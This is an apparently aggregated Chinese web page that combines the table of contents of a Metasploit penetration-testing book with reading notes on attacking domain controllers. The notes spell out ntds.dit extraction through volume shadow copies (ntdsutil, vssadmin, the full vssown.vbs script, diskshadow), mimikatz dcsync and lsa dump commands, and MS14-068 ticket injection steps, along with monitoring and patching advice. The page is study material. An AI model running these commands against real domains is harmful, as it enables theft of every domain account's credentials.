Metasploit渗透测试指南的目录

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Metasploit渗透测试指南的目录相关的知识,希望对你有一定的参考价值。

参考技术A

《metasploit渗透测试指南》
第1章 渗透测试技术基础 1
1.1 ptes标准中的渗透测试阶段 2
1.1.1 前期交互阶段 2
1.1.2 情报搜集阶段 2
1.1.3 威胁建模阶段 2
1.1.4 漏洞分析阶段 3
1.1.5 渗透攻击阶段 3
1.1.6 后渗透攻击阶段 3
1.1.7 报告阶段 4
1.2 渗透测试类型 4
1.2.1 白盒测试 5
1.2.2 黑盒测试 5
1.3 漏洞扫描器 5
1.4 小结 6
第2章 metasploit基础 7
2.1 专业术语 7
2.1.1 渗透攻击(exploit) 8
2.1.2 攻击载荷(payload) 8
2.1.3 shellcode 8
.2.1.4 模块(module) 8
2.1.5 监听器(listener) 8
2.2 metasploit用户接口 8
2.2.1 msf终端 9
2.2.2 msf命令行 9
2.2.3 armitage 11
2.3 metasploit功能程序 12
2.3.1 msf攻击载荷生成器 12
2.3.2 msf编码器 13
2.3.3 nasm shell 13
2.4 metasploit express和metasploit pro 14
2.5 小结 14
第3章 情报搜集 15
3.1 被动信息搜集 16
3.1.1 whois查询 16
3.1.2 netcraft 17
3.1.3 nslookup 18
3.2 主动信息搜集 18
3.2.1 使用nmap进行端口扫描 18
3.2.2 在metasploit中使用数据库 20
3.2.3 使用metasploit进行端口扫描 25
3.3 针对性扫描 26
3.3.1 服务器消息块协议扫描 26
3.3.2 搜寻配置不当的microsoft sql server 27
3.3.3 ssh服务器扫描 28
3.3.4 ftp扫描 29
3.3.5 简单网管协议扫描 30
3.4 编写自己的扫描器 31
3.5 小结 33
第4章 漏洞扫描 35
4.1 基本的漏洞扫描 36
4.2 使用nexpose进行扫描 37
4.2.1 配置 37
4.2.2 将扫描报告导入到metasploit中 42
4.2.3 在msf控制台中运行nexpose 43
4.3 使用nessus进行扫描 44
4.3.1 配置nessus 44
4.3.2 创建nessus扫描策略 45
4.3.3 执行nessus扫描 47
4.3.4 nessus报告 47
4.3.5 将扫描结果导入metasploit框架中 48
4.3.6 在metasploit内部使用nessus进行扫描 49
4.4 专用漏洞扫描器 51
4.4.1 验证smb登录 51
4.4.2 扫描开放的vnc空口令 52
4.4.3 扫描开放的x11服务器 54
4.5 利用扫描结果进行自动化攻击 56
第5章 渗透攻击之旅 57
5.1 渗透攻击基础 58
5.1.1 msf] show exploits 58
5.1.2 msf] show auxiliary 58
5.1.3 msf] show options 58
5.1.4 msf] show payloads 60
5.1.5 msf] show targets 62
5.1.6 info 63
5.1.7 set和unset 63
5.1.8 setg和unsetg 64
5.1.9 save 64
5.2 你的第一次渗透攻击 64
5.3 攻击一台ubuntu主机 68
5.4 全端口攻击载荷:暴力猜解目标开放的端口 71
5.5 资源文件 72
5.6 小结 73
第6章 meterpreter 75
6.1 攻陷windows xp 虚拟机 76
6.1.1 使用nmap扫描端口 76
6.1.2 攻击ms sql 76
6.1.3 暴力破解ms sql服务器 78
6.1.4 xp_cmdshell 79
6.1.5 meterpreter基本命令 80
6.1.6 获取键盘记录 81
6.2 挖掘用户名和密码 82
6.2.1 提取密码哈希值 82
6.2.2 使用meterpreter命令获取密码哈希值 83
6.3 传递哈希值 84
6.4 权限提升 85
6.5 令牌假冒 87
6.6 使用ps 87
6.7 通过跳板攻击其他机器 89
6.8 使用meterpreter脚本 92
6.8.1 迁移进程 92
6.8.2 关闭杀毒软件 93
6.8.3 获取系统密码哈希值 93
6.8.4 查看目标机上的所有流量 93
6.8.5 攫取系统信息 93
6.8.6 控制持久化 94
6.9 向后渗透攻击模块转变 95
6.10 将命令行shell升级为meterpreter 95
6.11 通过附加的railgun组件操作windows api 97
6.12 小结 97
第7章 免杀技术 99
7.1 使用msf攻击载荷生成器创建可独立运行的二进制文件 100
7.2 躲避杀毒软件的检测 101
7.2.1 使用msf编码器 102
7.2.2 多重编码 103
7.3 自定义可执行文件模板 105
7.4 隐秘地启动一个攻击载荷 106
7.5 加壳软件 107
7.6 小结:关于免杀处理的最后忠告 108
第8章 客户端渗透攻击 109
8.1 基于浏览器的渗透攻击 110
8.1.1 基于浏览器的渗透攻击原理 111
8.1.2 空指令 112
8.2 使用immunity调试器来揭秘空指令机器码 112
8.3 对ie浏览器的极光漏洞进行渗透利用 116
8.4 文件格式漏洞渗透攻击 119
8.5 发送攻击负载 120
8.6 小结 121
第9章 metasploit辅助模块 123
9.1 使用辅助模块 126
9.2 辅助模块剖析 128
9.3 小结 133
第10章 社会工程学工具包 135
10.1 配置set工具包 136
10.2 针对性钓鱼攻击向量 137
10.3 web攻击向量 142
10.3.1 java applet 142
10.3.2 客户端web攻击 146
10.3.3 用户名和密码获取 148
10.3.4 标签页劫持攻击 150
10.3.5 中间人攻击 150
10.3.6 网页劫持 151
10.3.7 综合多重攻击方法 153
10.4 传染性媒体生成器 157
10.5 teensy usb hid攻击向量 157
10.6 set的其他特性 160
10.7 小结 161
第11章 fast-track 163
11.1 microsoft sql注入 164
11.1.1 sql注入——查询语句攻击 165
11.1.2 sql注入——post参数攻击 166
11.1.3 手工注入 167
11.1.4 ms sql破解 168
11.1.5 通过sql自动获得控制(sqlpwnage) 172
11.2 二进制到十六进制转换器 174
11.3 大规模客户端攻击 175
11.4 小结:对自动化渗透的一点看法 176
第12章 karmetasploit无线攻击套件 177
12.1 配置 178
12.2 开始攻击 179
12.3 获取凭证 181
12.4 得到shell 182
12.5 小结 184
第13章 编写你自己的模块 185
13.1 在ms sql上进行命令执行 186
13.2 探索一个已存在的metasploit模块 187
13.3 编写一个新的模块 189
13.3.1 powershell 189
13.3.2 运行shell渗透攻击 190
13.3.3 编写powershell_upload_exec函数 192
13.3.4 从十六进制转换回二进制程序 192
13.3.5 计数器 194
13.3.6 运行渗透攻击模块 195
13.4 小结:代码重用的能量 196
第14章 创建你自己的渗透攻击模块 197
14.1 fuzz测试的艺术 198
14.2 控制结构化异常处理链 201
14.3 绕过seh限制 204
14.4 获取返回地址 206
14.5 坏字符和远程代码执行 210
14.6 小结 213
第15章 将渗透代码移植到metasploit框架 215
15.1 汇编语言基础 216
15.1.1 eip和esp寄存器 216
15.1.2 jmp指令集 216
15.1.3 空指令和空指令滑行区 216
15.2 移植一个缓冲区溢出攻击代码 216
15.2.1 裁剪一个已有的渗透攻击代码 218
15.2.2 构造渗透攻击过程 219
15.2.3 测试我们的基础渗透代码 220
15.2.4 实现框架中的特性 221
15.2.5 增加随机化 222
15.2.6 消除空指令滑行区 223
15.2.7 去除伪造的shellcode 223
15.2.8 我们完整的模块代码 224
15.3 seh覆盖渗透代码 226
15.4 小结 233
第16章 meterpreter脚本编程 235
16.1 meterpreter脚本编程基础 235
16.2 meterpreter api 241
16.2.1 打印输出 241
16.2.2 基本api调用 242
16.2.3 meterpreter mixins 242
16.3 编写meterpreter脚本的规则 244
16.4 创建自己的meterpreter脚本 244
16.5 小结 250
第17章 一次模拟的渗透测试过程 251
17.1 前期交互 252
17.2 情报搜集 252
17.3 威胁建模 253
17.4 渗透攻击 255
17.5 msf终端中的渗透攻击过程 255
17.6 后渗透攻击 257
17.6.1 扫描metasploitable靶机 258
17.6.2 识别存有漏洞的服务 259
17.7 攻击apache tomcat 260
17.8 攻击一个偏门的服务 262
17.9 隐藏你的踪迹 264
17.10 小结 266
附录a 配置目标机器 267
附录b 命令参考列表 275

《内网安全攻防:渗透测试实战指南》读书笔记:域控制器安全

目录

前言

本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,本章是域控制器安全,介绍了使用Kerberos域用户提权和导出ntds.dit中散列值的方法,并针对域控制器攻击提出了有效的安全建议

在实际网络环境中,攻击者渗透内网的终极目标是获取域控制器的权限,从而控制整个域

一、使用卷影拷贝服务提取ntds.dit

在活动目录中,所有的数据都被保存在ntds.dit文件中

  • ntds.dit是一个二进制文件,存储在DC的C:\\Windows\\NTDS\\ntds.dit
  • 包含了域内的所有信息,可以通过分析ntds.dit导出域内的计算机信息及其他信息
  • 类似SAM文件一样,是被系统锁定的

可以用卷影拷贝服务(Volume Shadow Copy Service,VSS)提取ntds.dit,VSS本质上属于快照(snapshot)技术,主要用于备份和恢复(即使目标文件处于锁定状态)

1、ntdsutil.exe

为AD提供管理机制的命令行工具,支持Windows server 2003/2008/2012

//创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
//加载快照
ntdsutil snapshot "mount <GUID>" quit quit
//复制快照中的nitds.dit
copy <加载后快照的位置> c:\\tmp:ntds.dit
//删除快照
ntdsutil snapshot "unmount <GUID>" "delete <GUID>" quit quit

2、vssadmin

Windows 7 及 server 2008 提供的VSS管理工具

//创建C盘的卷影拷贝
vssadmin create shadow /for=c:
//复制ntds.dit
copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy5\\window\\NTDS\\ntds.dit c:\\ntds.dit
//删除拷贝
vssadmin delete shadow /for=c: /quiet

3、vssown.vbs

Tim Tomes开发的脚本,功能类似vssadmin

脚本如下

REM Volume Shadow Copy Management from CLI.
REM Part of the presentation "Lurking in the Shadows" by Mark Baggett and Tim "LaNMaSteR53" Tomes.
REM Co-developed by Mark Baggett (@MarkBaggett) and Tim Tomes (@lanmaster53).

Set args = WScript.Arguments

if args.Count < 1  Then
  wscript.Echo "Usage: cscript vssown.vbs [option]"
  wscript.Echo
  wscript.Echo "  Options:"
  wscript.Echo
  wscript.Echo "  /list                             - List current volume shadow copies."
  wscript.Echo "  /start                            - Start the shadow copy service."
  wscript.Echo "  /stop                             - Halt the shadow copy service."
  wscript.Echo "  /status                           - Show status of shadow copy service."
  wscript.Echo "  /mode                             - Display the shadow copy service start mode."
  wscript.Echo "  /mode [Manual|Automatic|Disabled] - Change the shadow copy service start mode."
  wscript.Echo "  /create [drive_letter]            - Create a shadow copy."
  wscript.Echo "  /delete [id|*]                    - Delete a specified or all shadow copies."
  wscript.Echo "  /mount [path] [device_object]     - Mount a shadow copy to the given path."
  wscript.Echo "  /execute [\\path\\to\\file]          - Launch executable from within an umounted shadow copy."
  wscript.Echo "  /store                            - Display storage statistics."
  wscript.Echo "  /size [bytes]                     - Set drive space reserved for shadow copies."
  REM build_off
  wscript.Echo "  /build [filename]                 - Print pasteable script to stdout."REM no_build
  REM build_on
  wscript.Quit(0)
End If

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\\\" & strComputer & "\\root\\cimv2")

Select Case args.Item(0)

  Case "/list"
    Wscript.Echo "SHADOW COPIES"
    Wscript.Echo "============="
    Wscript.Echo
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowCopy")
    For Each objItem in colItems
      Wscript.Echo "[*] ID:                  " & objItem.ID
      Wscript.Echo "[*] Client accessible:   " & objItem.ClientAccessible
      Wscript.Echo "[*] Count:               " & objItem.Count
      Wscript.Echo "[*] Device object:       " & objItem.DeviceObject
      Wscript.Echo "[*] Differential:        " & objItem.Differential
      Wscript.Echo "[*] Exposed locally:     " & objItem.ExposedLocally
      Wscript.Echo "[*] Exposed name:        " & objItem.ExposedName
      Wscript.Echo "[*] Exposed remotely:    " & objItem.ExposedRemotely
      Wscript.Echo "[*] Hardware assisted:   " & objItem.HardwareAssisted
      Wscript.Echo "[*] Imported:            " & objItem.Imported
      Wscript.Echo "[*] No auto release:     " & objItem.NoAutoRelease
      Wscript.Echo "[*] Not surfaced:        " & objItem.NotSurfaced
      Wscript.Echo "[*] No writers:          " & objItem.NoWriters
      Wscript.Echo "[*] Originating machine: " & objItem.OriginatingMachine
      Wscript.Echo "[*] Persistent:          " & objItem.Persistent
      Wscript.Echo "[*] Plex:                " & objItem.Plex
      Wscript.Echo "[*] Provider ID:         " & objItem.ProviderID
      Wscript.Echo "[*] Service machine:     " & objItem.ServiceMachine
      Wscript.Echo "[*] Set ID:              " & objItem.SetID
      Wscript.Echo "[*] State:               " & objItem.State
      Wscript.Echo "[*] Transportable:       " & objItem.Transportable
      Wscript.Echo "[*] Volume name:         " & objItem.VolumeName
      Wscript.Echo
    Next
    wscript.Quit(0)

  Case "/start"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      objService.StartService()
      Wscript.Echo "[*] Signal sent to start the " & objService.Name & " service."
    Next
    wscript.Quit(0)

  Case "/stop"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      objService.StopService()
      Wscript.Echo "[*] Signal sent to stop the " & objService.Name & " service."
    Next
    wscript.Quit(0)

  Case "/status"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      Wscript.Echo "[*] " & objService.State
    Next
    wscript.Quit(0)

  Case "/mode"
    Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
    For Each objService in colListOfServices
      if args.Count < 2 Then
        Wscript.Echo "[*] " & objService.Name & " service set to '" & objService.StartMode & "' start mode."        
      Else
        mode = LCase(args.Item(1))
        if mode = "manual" or mode = "automatic" or mode = "disabled" Then
          errResult = objService.ChangeStartMode(mode)
          Wscript.Echo "[*] " & objService.Name & " service set to '" & mode & "' start mode."
        Else
          Wscript.Echo "[*] '" & mode & "' is not a valid start mode."
        End If
      END If
    Next
    wscript.Quit(errResult)    

  Case "/create"
    VOLUME = args.Item(1) & ":\\"
    Const CONTEXT = "ClientAccessible"
    Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")
    Wscript.Echo "[*] Attempting to create a shadow copy."
    errResult = objShadowStorage.Create(VOLUME, CONTEXT, strShadowID)
    wscript.Quit(errResult)

  Case "/delete"
    id = args.Item(1)
    Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
    For Each objItem in colItems
      if objItem.ID = id Then
        Wscript.Echo "[*] Attempting to delete shadow copy with ID: " & id
        errResult = objItem.Delete_
      ElseIf id = "*" Then
        Wscript.Echo "[*] Attempting to delete shadow copy " & objItem.DeviceObject & "."
        errResult = objItem.Delete_
      End If
    Next
    wscript.Quit(errResult)

  Case "/mount"
    Set WshShell = WScript.CreateObject("WScript.Shell")
    link = args.Item(1)
    sc = args.Item(2) & "\\"
    cmd = "cmd /C mklink /D " & link & " " & sc
    WshShell.Run cmd, 2, true
    Wscript.Echo "[*] " & sc & " has been mounted to " & link & "."
    wscript.Quit(0)

  Case "/execute"
    file = args.Item(1)
    Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
    Set objProcess = objWMIService.Get("Win32_Process")
    For Each objItem in colItems
      path = Replace(objItem.DeviceObject,"?",".") & file
      intReturn = objProcess.Create(path)
      if intReturn <> 0 Then
        wscript.Echo "[*] Process could not be created from " & path & "."
        wscript.Echo "[*] ReturnValue = " & intReturn
      Else
        wscript.Echo "[!] Process created from " & path & "."
        wscript.Quit(0)
      End If
    Next
    wscript.Quit(0)

  Case "/store"
    Wscript.Echo "SHADOW STORAGE"
    Wscript.Echo "=============="
    Wscript.Echo
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
    For Each objItem in colItems
        Wscript.Echo "[*] Allocated space:     " & FormatNumber(objItem.AllocatedSpace / 1000000,0) & "MB"
        Wscript.Echo "[*] Maximum size:        " & FormatNumber(objItem.MaxSpace / 1000000,0) & "MB"
        Wscript.Echo "[*] Used space:          " & FormatNumber(objItem.UsedSpace / 1000000,0) & "MB"
        Wscript.Echo
    Next
    wscript.Quit(0)

  Case "/size"
    storagesize = CDbl(args.Item(1))
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
    For Each objItem in colItems
      objItem.MaxSpace = storagesize
      objItem.Put_
    Next
    Wscript.Echo "[*] Shadow storage space has been set to " & FormatNumber(storagesize / 1000000,0) & "MB."
    wscript.Quit(0)

  REM build_off
  Case "/build"
    build = 1
    Const ForReading = 1
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objTextFile = objFSO.OpenTextFile("vssown.vbs", ForReading)
    Do Until objTextFile.AtEndOfStream
      strNextLine = objTextFile.Readline
      if InStr(strNextLine,"REM build_off") = 3 Then
        build = 0
      End If
      if strNextLine <> "" and build = 1 Then
        strNextLine = Replace(strNextLine,"&","^&")
        strNextLine = Replace(strNextLine,">","^>")
        strNextLine = Replace(strNextLine,"<","^<")
        wscript.Echo "echo " & strNextLine & " >> " & args.Item(1)
      End If
      if InStr(strNextLine,"REM build_on") = 3 Then
        build = 1
      End If
    Loop
    wscript.Quit(0)
  REM build_on

End Select

4、ntdsutil的IFM

在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

然后将ntds.dit复制到c:\\test\\Active Directory
将SYSTEM 和SECURITY复制到c:\\test\\registry\\

在Nishang中有个脚本Copy-VSS.ps1实现了整个过程

5、diskshadow

diskshadow.exe可以使用VSS并导出ntds.dit

  • 微软官方出品,代码由微软签名
  • Windows server 2008、2012、2016默认自带
  • 导出ntds.dit时必须在C:\\Windows\\system32中操作

导出ntds.dit后,可以利用reg将syste.hive转储。因为system.hive中存放着ntds.dit的秘钥,如果没有该秘钥将无法查看ntds.dit中的信息

在渗透测试中,应该先将含有需要执行的命令的文本文件写入到远程目标系统,在使用diskshadow.exe调用执行该文件,使用更为灵活,文本如下:

//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//复制ntds.dit
exec "cmd.exe" /c copy k:\\Windows\\NTDS\\ntds.dit c:\\ntds.dit
//列出卷影拷贝
list shadows all
//重置
reset
//退出
exit

6、防范

通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的恶意操作:

  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为
  • 监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件
  • 监控创建diskshadow.exe及相关子进程的事件
  • 监控客户端设备中的diskshadow.exe实例创建事件(除非业务需要,在Wmdows操作系统中不应该出现diskshadowexe)
  • 通过日志监控新出现的逻辑驱动器映射事件

二、导出ntds.dit中的散列值

几个工具的使用:

三、利用dcsync获取域散列值

mimikatz有个dcsync功能,可以利用卷影拷贝服务VSS直接读取ntds.dit并检索域散列值,需要域管理员权限

//导出域内所有用户名和散列值
lsadump::dcsync /domain:test.com /all /csv
//导出指定用户Dm散列值
lsadump::dcsync /domain:test.com /User:Dm
//转储lsass.exe进程对散列值进行dump操作
privilege::debug
lsadump::lsa /inject

mimikatz命令执行结果太多,无法将其完全显示出来,可以先执行log命令(会在当前目录下生成一个文本文件,用于记录mimikatz的所有执行结果)

四、其他获取域散列值方法

1、Metasploit

use auxiliary/admin/amb/psexec_ntdsgrab

2、vshadow.exe和QuarkPwDump.exe

QuarkPwDump以快速、安全、全面地读取全部域账号和域散列值
下载地址:https://github.com/quarkslab/quarkspwdump

五、Kerberos域用户提权漏洞

Kerberos域用户提权漏洞(MS14-068、CVE-2014-6324、KB3011780)

  • Windows2012 R2及以前版本均受影响
  • 如果攻击者获取了域内任何一台计算机的shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制DC,最终获取域权限

票据注入一般流程

  • 查看DC的补丁安装情况(systeminfo、WMIC qfe)
  • 查看用户的SID(whoami /user
  • 生成高权限票据(ms14-068.exe)
  • 查看注入前的权限(dir \\\\\\\\DC\\c$
  • 清除内存中的所有票据(mimikatz,kerberos::purge
  • 将高权限票据注入内存(kerberos::ptc
  • 验证权限

一些工具:

修复建议:

  • 开启Windows Update
  • 手动补丁
  • 对域内账号进行控制
  • 禁止使用弱口令
  • 及时定期修改密码
  • 安装反病毒软件并及时更新病毒库

结语

主要是围绕ntds.dit的获取来的

以上是关于Metasploit渗透测试指南的目录的主要内容,如果未能解决你的问题,请参考以下文章

06-网络安全-kail linux渗透测试(基础篇)

Metasploit渗透测试实验报告

《内网安全攻防:渗透测试实战指南》读书笔记:域控制器安全

《内网安全攻防:渗透测试实战指南》读书笔记:域控制器安全

《内网安全攻防:渗透测试实战指南》读书笔记:域控制器安全

2022-渗透测试-信息收集-Metasploit(基于TCP协议)